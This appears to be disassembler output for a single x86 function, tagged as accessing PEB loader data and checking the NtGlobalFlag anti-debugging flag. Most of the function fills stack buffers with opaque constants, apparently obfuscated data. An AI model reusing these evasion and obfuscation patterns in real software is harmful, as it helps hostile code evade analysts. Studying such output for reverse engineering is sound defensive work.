Function at 0x4015a0
Capabilities:
Access peb ldr_data
Check for peb ntglobalflag flag

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x980
mov esi, esp
mov dword [esi + 0x968], ebp
mov eax, 0x47ca91d1
mov ecx, 0xaa14b897
mov edx, 0x147addd4
mov edi, 0x4c36863d
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x8f0], xmm2
mov eax, 0xce333f2d
mov ecx, 0xaf1e5929
mov edx, 0x4f59600e
mov edi, 0x9155ee5e
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x8e0], xmm2
mov eax, 0xcd90b45d
mov ecx, 0xc0e64d31
mov edx, 0x3fcb0265
mov edi, 0x7704e86b
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x8d0], xmm2
mov eax, 0xd18af934
mov ecx, 0x18fdb052
mov edx, 0x85665ebc
mov edi, 0xbe60e10d
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x8c0], xmm2
mov eax, 0x11b007b4
mov ecx, 0x2e2bfb7
mov edx, 0x100fcb6e
mov edi, 0x7bc5eca7
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x8b0], xmm2
mov eax, 0xb8ac436
mov ecx, 0xec4ac69e
mov edx, 0x15610230
mov edi, 0x568097a9
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x8a0], xmm2
mov eax, 0xd2a0e079
mov ecx, 0xfce1d876
mov edx, 0x977c1d56
mov edi, 0x775338b1
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x890], xmm0
mov eax, 0x192c68d8
mov ecx, 0x8f7ffc9a
mov edx, 0xb578e535
mov edi, 0x6e108e0b
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x880], xmm2
mov eax, 0x136bfaf9
mov ecx, 0x2233721c
mov edx, 0xc648abc7
mov edi, 0x822134b9
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x870], xmm2
mov eax, 0x2abe666
mov ecx, 0x9ffc4912
mov edx, 0x2472e8cc
mov edi, 0xddf6012b
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x860], xmm2
mov eax, 0xf0431955
mov ecx, 0x20d7c445
mov edx, 0x2c5307d2
mov edi, 0x4eb7452
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x850], xmm2
mov eax, 0x9e6eb10a
mov ecx, 0xf022bbc5
mov edx, 0xf382d403
mov edi, 0x7c42326b
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x840], xmm2
mov eax, 0x72650516
mov ecx, 0xc6f56cc2
mov edx, 0x497adb8e
mov edi, 0xd2eaef8f
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x830], xmm2
mov eax, 0x93b8ba14
mov ecx, 0x9154d8ad
mov edx, 0x2f657b74
mov edi, 0x8698e427
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x820], xmm0
mov eax, 0x9d99ad06
mov ecx, 0x7558825f
mov edx, 0x1767b6fb
mov edi, 0x3eb1c5c4
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x810], xmm2
mov eax, 0x371e25f4
mov ecx, 0x375dd8e4
mov edx, 0x7b5b0f70
mov edi, 0xca729084
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x800], xmm2
mov eax, 0xed9eca62
mov ecx, 0x2ad3f02f
mov edx, 0x1822ee71
mov edi, 0xb667f1ce
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x7f0], xmm2
mov eax, 0x8a0973
mov ecx, 0x3b9b1570
mov edx, 0x160ea211
mov edi, 0x59e54a4a
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x7e0], xmm2
mov eax, 0x9115628
mov ecx, 0xcb10d6c1
mov edx, 0xb14af3a2
mov edi, 0xda8dbec3
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x7d0], xmm2
mov eax, 0x4c92bcee
mov ecx, 0xa932a9d1
mov edx, 0x96f05dba
mov edi, 0x5f8c1c59
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x7c0], xmm2
mov eax, 0x75b0c667
mov ecx, 0xdc9f71fa
mov edx, 0x33c97757
mov edi, 0x116102f7
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x7b0], xmm0
mov eax, 0xc24ab476
mov ecx, 0x59ee3e41
mov edx, 0x1c6a08ea
mov edi, 0x8ce0a349
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x7a0], xmm2
mov eax, 0x7927557d
mov ecx, 0xd9382405
mov edx, 0x4222f2c0
mov edi, 0x9a1dfeac
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x790], xmm2
mov eax, 0x49ccd006
mov ecx, 0x14183344
mov edx, 0x4e955413
mov edi, 0x7cc56db7
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x780], xmm2
mov eax, 0xd41e3f3f
mov ecx, 0xb8965aef
mov edx, 0xfdf72e81
mov edi, 0x445a5b9c
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x770], xmm2
mov eax, 0xabdcb6ec
mov ecx, 0x43e7a94
mov edx, 0xc177fdb6
mov edi, 0x4cdeac72
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x760], xmm2
mov eax, 0xb942f8ea
mov ecx, 0xd1559534
mov edx, 0x46217980
mov edi, 0xf69705e8
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x750], xmm2
mov eax, 0x4dbf226b
mov ecx, 0x8678041d
mov edx, 0xf9aba077
mov edi, 0x3c88777c
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x740], xmm0
mov eax, 0x8569cd9c
mov ecx, 0x8e874ef5
mov edx, 0x78888db0
mov edi, 0x2d3c499c
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x730], xmm2
mov eax, 0x4ad55187
mov ecx, 0x658507e4
mov edx, 0x6c168515
mov edi, 0xe351f9c6
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x720], xmm2
mov eax, 0xa342090a
mov ecx, 0xce4a9e5c
mov edx, 0xb8bbcaf4
mov edi, 0xa3771a19
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x710], xmm2
mov eax, 0xb05aed48
mov ecx, 0x82124687
mov edx, 0xf7729d96
mov edi, 0x140349f7
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x700], xmm2
mov eax, 0x4efa2337
mov ecx, 0xedf7f527
mov edx, 0x77a0fe74
mov edi, 0x19471133
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x6f0], xmm2
mov eax, 0xa460ddd1
mov ecx, 0x37aa92ae
mov edx, 0xcba9fb2b
mov edi, 0xa3c102bc
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x6e0], xmm2
mov eax, 0xb90e3356
mov ecx, 0x53979da0
mov edx, 0x6fb982
mov edi, 0x787fd99b
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x6d0], xmm0
mov eax, 0xc9751cee
mov ecx, 0x6b952fd3
mov edx, 0x4cf7feb
mov edi, 0x44005e04
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x6c0], xmm2
mov eax, 0x60ad81a0
mov ecx, 0xacf12c2c
mov edx, 0x9d4174f8
mov edi, 0x855ad542
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x6b0], xmm2
mov eax, 0x4639e52d
mov ecx, 0x2faf0397
mov edx, 0xe1bf5903
mov edi, 0xc026d35d
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x6a0], xmm2
mov eax, 0xd8c13f97
mov ecx, 0xd43d5c9c
mov edx, 0xd6a6129f
mov edi, 0xc8cc9c93
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x690], xmm2
mov eax, 0x1d6db81b
mov ecx, 0xe532b4e6
mov edx, 0xb93ee01b
mov edi, 0x399ccc2c
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x680], xmm2
mov eax, 0x4fee88a8
mov ecx, 0xcadf5068
mov edx, 0xa640feac
mov edi, 0xe2acabe9
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x670], xmm2
mov eax, 0x49e109e
mov ecx, 0x3d8251e4
mov edx, 0x53a142ac
mov edi, 0x799a566
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x660], xmm0
mov eax, 0x8e0a1b25
mov ecx, 0x4738004d
mov edx, 0x25971d82
mov edi, 0xc88a5967
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x650], xmm2
mov eax, 0xfdc06be4
mov ecx, 0x497c091d
mov edx, 0x3075ac7a
mov edi, 0x81729dcb
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x640], xmm2
mov eax, 0x74c317b4
mov ecx, 0x654a144c
mov edx, 0x1c043355
mov edi, 0x8d2b2c0f
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x630], xmm2
mov eax, 0x9b646398
mov ecx, 0xe31015c7
mov edx, 0x36252534
mov edi, 0xd8b9216e
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x620], xmm2
mov eax, 0xa5765713
mov ecx, 0xc725be93
mov edx, 0x1e0560ad
mov edi, 0x913f02c0
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x610], xmm2
mov eax, 0x3eb1cf8c
mov ecx, 0x89e1150b
mov edx, 0x454bb984
mov edi, 0x5a1e9d5c
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x600], xmm2
mov eax, 0xa8f6a16
mov ecx, 0x7de145e2
mov edx, 0x4c9e98e6
mov edi, 0x58287905
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x5f0], xmm0
mov eax, 0xbb272b37
mov ecx, 0x18c6ae86
mov edx, 0x94bba00b
mov edi, 0x6c32d12c
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x5e0], xmm2
mov eax, 0xb7ba6806
mov ecx, 0xc8567358
mov edx, 0xf5b85e8f
mov edi, 0xa9efbcc9
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x5d0], xmm2
mov eax, 0xe1f1203
mov ecx, 0x91570cfa
mov edx, 0xce4d54cd
mov edi, 0xb1425a42
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x5c0], xmm2
mov eax, 0x91b1901c
mov ecx, 0x79392743
mov edx, 0x7e6073fe
mov edi, 0x53947faa
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x5b0], xmm2
mov eax, 0x234e840f
mov ecx, 0x2e62847c
mov edx, 0xc8afc610
mov edi, 0xd6fa54cb
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x5a0], xmm2
mov eax, 0x95b93ffc
mov ecx, 0x2af86541
mov edx, 0x4ee6d415
mov edi, 0x86f43730
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x590], xmm2
mov eax, 0x826f2c4d
mov ecx, 0x9943f2a9
mov edx, 0x65119641
mov edi, 0x2e34aaa0
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x580], xmm0
mov eax, 0xb1e1edf7
mov ecx, 0xd9bbc178
mov edx, 0xfb3a45ae
mov edi, 0xc967f253
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x570], xmm2
mov eax, 0xe04a33bc
mov ecx, 0x3e2fe4de
mov edx, 0x59dcf08d
mov edi, 0x5f983d03
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x560], xmm2
mov eax, 0xb5c8aa94
mov ecx, 0x23543ae8
mov edx, 0x4900241a
mov edi, 0x489ca3fb
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x550], xmm2
mov eax, 0x66e2fda
mov ecx, 0xb0270f43
mov edx, 0x260f4e24
mov edi, 0x4f986627
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x540], xmm2
mov eax, 0x980f9b51
mov ecx, 0xc00e6af6
mov edx, 0xd76bdfb7
mov edi, 0x4c8a85d4
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x530], xmm2
mov eax, 0xf8b5d69f
mov ecx, 0x3229bba6
mov edx, 0x9b1c5ba0
mov edi, 0x35653660
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x520], xmm2
mov eax, 0x4b4a46bf
mov ecx, 0x9fa0551
mov edx, 0xada0a7ea
mov edi, 0xc8a26ee2
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x510], xmm0
mov eax, 0x4321a8af
mov ecx, 0x8d95e9fa
mov edx, 0xfdf682ad
mov edi, 0xe38f816b
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x500], xmm2
mov eax, 0xaa07320c
mov ecx, 0xe8d4e116
mov edx, 0xa4635864
mov edi, 0x6e0f1865
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x4f0], xmm2
mov eax, 0x541b1a77
mov ecx, 0x85c94a68
mov edx, 0x2ca62d2c
mov edi, 0x9d855553
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm4, eax
punpckldq xmm4, xmm0
punpcklqdq xmm4, xmm1
mov eax, 0xc0a4cd71
mov ecx, 0xe626dadb
mov edx, 0x5f15372a
mov edi, 0x35a94506
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm5, eax
punpckldq xmm5, xmm0
punpcklqdq xmm5, xmm1
mov eax, 0x83d85536
mov ecx, 0xd6758bd0
mov edx, 0xbda09ec
mov edi, 0xfa1ccd5b
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm6, eax
punpckldq xmm6, xmm0
punpcklqdq xmm6, xmm1
mov eax, 0x9891081c
mov ecx, 0xf10aecfa
mov edx, 0x5b6f464a
mov edi, 0xd65d9a11
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm7, eax
punpckldq xmm7, xmm0
punpcklqdq xmm7, xmm1
mov eax, 0x38740a44
mov ecx, 0xde3e1874
mov edx, 0x16aa9e98
mov edi, 0x76a874db
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm3, eax
punpckldq xmm3, xmm2
punpcklqdq xmm3, xmm1
mov eax, 0x93079319
mov ecx, 0x4a3ab78b
mov edx, 0xa84fd3f2
mov edi, 0x1ad7bcba
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
mov dword [esi + 0x96c], esp
mov dword [esi + 0x978], 0xffffffff
lea eax, [esi + 0x970]
mov dword [esi + 0x974], 0x403f30
mov ecx, dword fs:[0]
mov dword [esi + 0x970], ecx
mov dword fs:[0], eax
mov eax, 0x91aad98b
mov ecx, 0x37eda7f3
mov dword [esi + 0x14], ecx
mov dword [esi + 0x10], eax
mov eax, 0xc07375e7
mov ecx, 0x8c210900
mov dword [esi + 0x1c], ecx
mov dword [esi + 0x18], eax
mov eax, 0x4745792d
mov ecx, 0x9b74b897
mov dword [esi + 0x64], ecx
mov dword [esi + 0x68], eax
mov dword [esi + 0x74], ecx
mov dword [esi + 0x70], eax
mov eax, 0x709f5406
mov ecx, 0xc706d4b6
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
mov dword [esi + 0x7c], ecx
mov dword [esi + 0x78], eax
mov eax, 0x9cb8337f
mov ecx, 0xe5a9563d
mov dword [esi + 0x54], ecx
mov dword [esi + 0x58], eax
mov dword [esi + 0x84], ecx
mov dword [esi + 0x80], eax
mov eax, 0xc4a65128
mov ecx, 0x5164c62c
mov dword [esi + 0x4c], ecx
mov dword [esi + 0x50], eax
mov dword [esi + 0x8c], ecx
mov dword [esi + 0x88], eax
mov eax, 0xb1f188f1
mov ecx, 0x1c66133
mov dword [esi + 0x94], ecx
mov dword [esi + 0x90], eax
mov eax, 0xf8ca0faa
mov ecx, 0x25eb9d22
mov dword [esi + 0x9c], ecx
mov dword [esi + 0x98], eax
mov eax, 0xc1d87263
mov ecx, 0x19c1f2d9
mov dword [esi + 0xa4], ecx
mov dword [esi + 0xa0], eax
mov eax, 0xfd26d56c
mov ecx, 0xf2142188
mov dword [esi + 0xac], ecx
mov dword [esi + 0xa8], eax
mov eax, 0x593bd7b5
mov ecx, 0x5a69efaf
mov dword [esi + 0xb4], ecx
mov dword [esi + 0xb0], eax
mov eax, 0x95dcca4e
mov ecx, 0x32f9986e
mov dword [esi + 0xbc], ecx
mov dword [esi + 0xb8], eax
mov eax, 0x3f013b07
mov ecx, 0xdd9cc715
mov dword [esi + 0xc4], ecx
mov dword [esi + 0xc0], eax
mov eax, 0xdaa0aef0
mov ecx, 0x6e4796a4
mov dword [esi + 0xcc], ecx
mov dword [esi + 0xc8], eax
mov eax, 0xd1549599
mov ecx, 0x81da200b
mov dword [esi + 0xd4], ecx
mov dword [esi + 0xd0], eax
mov eax, 0xcf9c6872
mov ecx, 0x7677603a
mov dword [esi + 0xdc], ecx
mov dword [esi + 0xd8], eax
mov eax, 0x15a70e0b
mov ecx, 0x932777d1
mov dword [esi + 0xe4], ecx
mov dword [esi + 0xe0], eax
mov eax, 0xb1f33634
mov ecx, 0xe7c08f80
mov dword [esi + 0xec], ecx
mov dword [esi + 0xe8], eax
mov eax, 0x484fdebd
mov ecx, 0x786a1347
mov dword [esi + 0xf4], ecx
mov dword [esi + 0xf0], eax
mov eax, 0x9ea85496
mov ecx, 0x90aa6ee6
mov dword [esi + 0xfc], ecx
mov dword [esi + 0xf8], eax
mov eax, 0xfd54668f
mov ecx, 0xeb9414ed
mov dword [esi + 0x104], ecx
mov dword [esi + 0x100], eax
mov eax, 0x4c7298b8
mov ecx, 0xb598685c
mov dword [esi + 0x10c], ecx
mov dword [esi + 0x108], eax
mov eax, 0x870f7101
mov ecx, 0xf528c363
mov dword [esi + 0x114], ecx
mov dword [esi + 0x110], eax
mov eax, 0x1e6073ba
mov ecx, 0x76881c52
mov dword [esi + 0x11c], ecx
mov dword [esi + 0x118], eax
mov eax, 0xf63ac173
mov ecx, 0xf704cc89
mov dword [esi + 0x124], ecx
mov dword [esi + 0x120], eax
mov eax, 0x28b301fc
mov ecx, 0x2f116138
mov dword [esi + 0x12c], ecx
mov dword [esi + 0x128], eax
mov eax, 0x6d616d45
mov ecx, 0x130ad75f
mov dword [esi + 0x134], ecx
mov dword [esi + 0x130], eax
mov eax, 0x151288de
mov ecx, 0x3aeaef9e
mov dword [esi + 0x13c], ecx
mov dword [esi + 0x138], eax
mov eax, 0x93b8b997
mov ecx, 0x9120d8c5
mov dword [esi + 0x144], ecx
mov dword [esi + 0x140], eax
mov eax, 0x2f157b00
mov ecx, 0x86a2e454
mov dword [esi + 0x14c], ecx
mov dword [esi + 0x148], eax
mov eax, 0x9db6ad29
mov ecx, 0x753c823b
mov dword [esi + 0x154], ecx
mov dword [esi + 0x150], eax
mov eax, 0x1714b682
mov ecx, 0x3eddc5ea
mov dword [esi + 0x15c], ecx
mov dword [esi + 0x158], eax
mov eax, 0x3768259b
mov ecx, 0x3767d881
mov dword [esi + 0x164], ecx
mov dword [esi + 0x160], eax
mov eax, 0x7b6f0f44
mov ecx, 0xca4690b0
mov dword [esi + 0x16c], ecx
mov dword [esi + 0x168], eax
mov eax, 0xedf3ca4d
mov ecx, 0x2ab0f077
mov dword [esi + 0x174], ecx
mov dword [esi + 0x170], eax
mov eax, 0x1873ee26
mov ecx, 0xb64af196
mov dword [esi + 0x17c], ecx
mov dword [esi + 0x178], eax
mov eax, 0xde091f
mov ecx, 0x3be3151d
mov dword [esi + 0x184], ecx
mov dword [esi + 0x180], eax
mov eax, 0x1651a248
mov ecx, 0x598b4a0c
mov dword [esi + 0x18c], ecx
mov dword [esi + 0x188], eax
mov eax, 0x9415611
mov ecx, 0xcb78d693
mov dword [esi + 0x194], ecx
mov dword [esi + 0x190], eax
mov eax, 0xb172f3ca
mov ecx, 0xdabbbe82
mov dword [esi + 0x19c], ecx
mov dword [esi + 0x198], eax
mov eax, 0x4cdbbc83
mov ecx, 0xa94ba9b9
mov dword [esi + 0x1a4], ecx
mov dword [esi + 0x1a0], eax
mov eax, 0x96c45d8c
mov ecx, 0x5ff81c68
mov dword [esi + 0x1ac], ecx
mov dword [esi + 0x1a8], eax
mov eax, 0x75d8c655
mov ecx, 0xdcae718f
mov dword [esi + 0x1b4], ecx
mov dword [esi + 0x1b0], eax
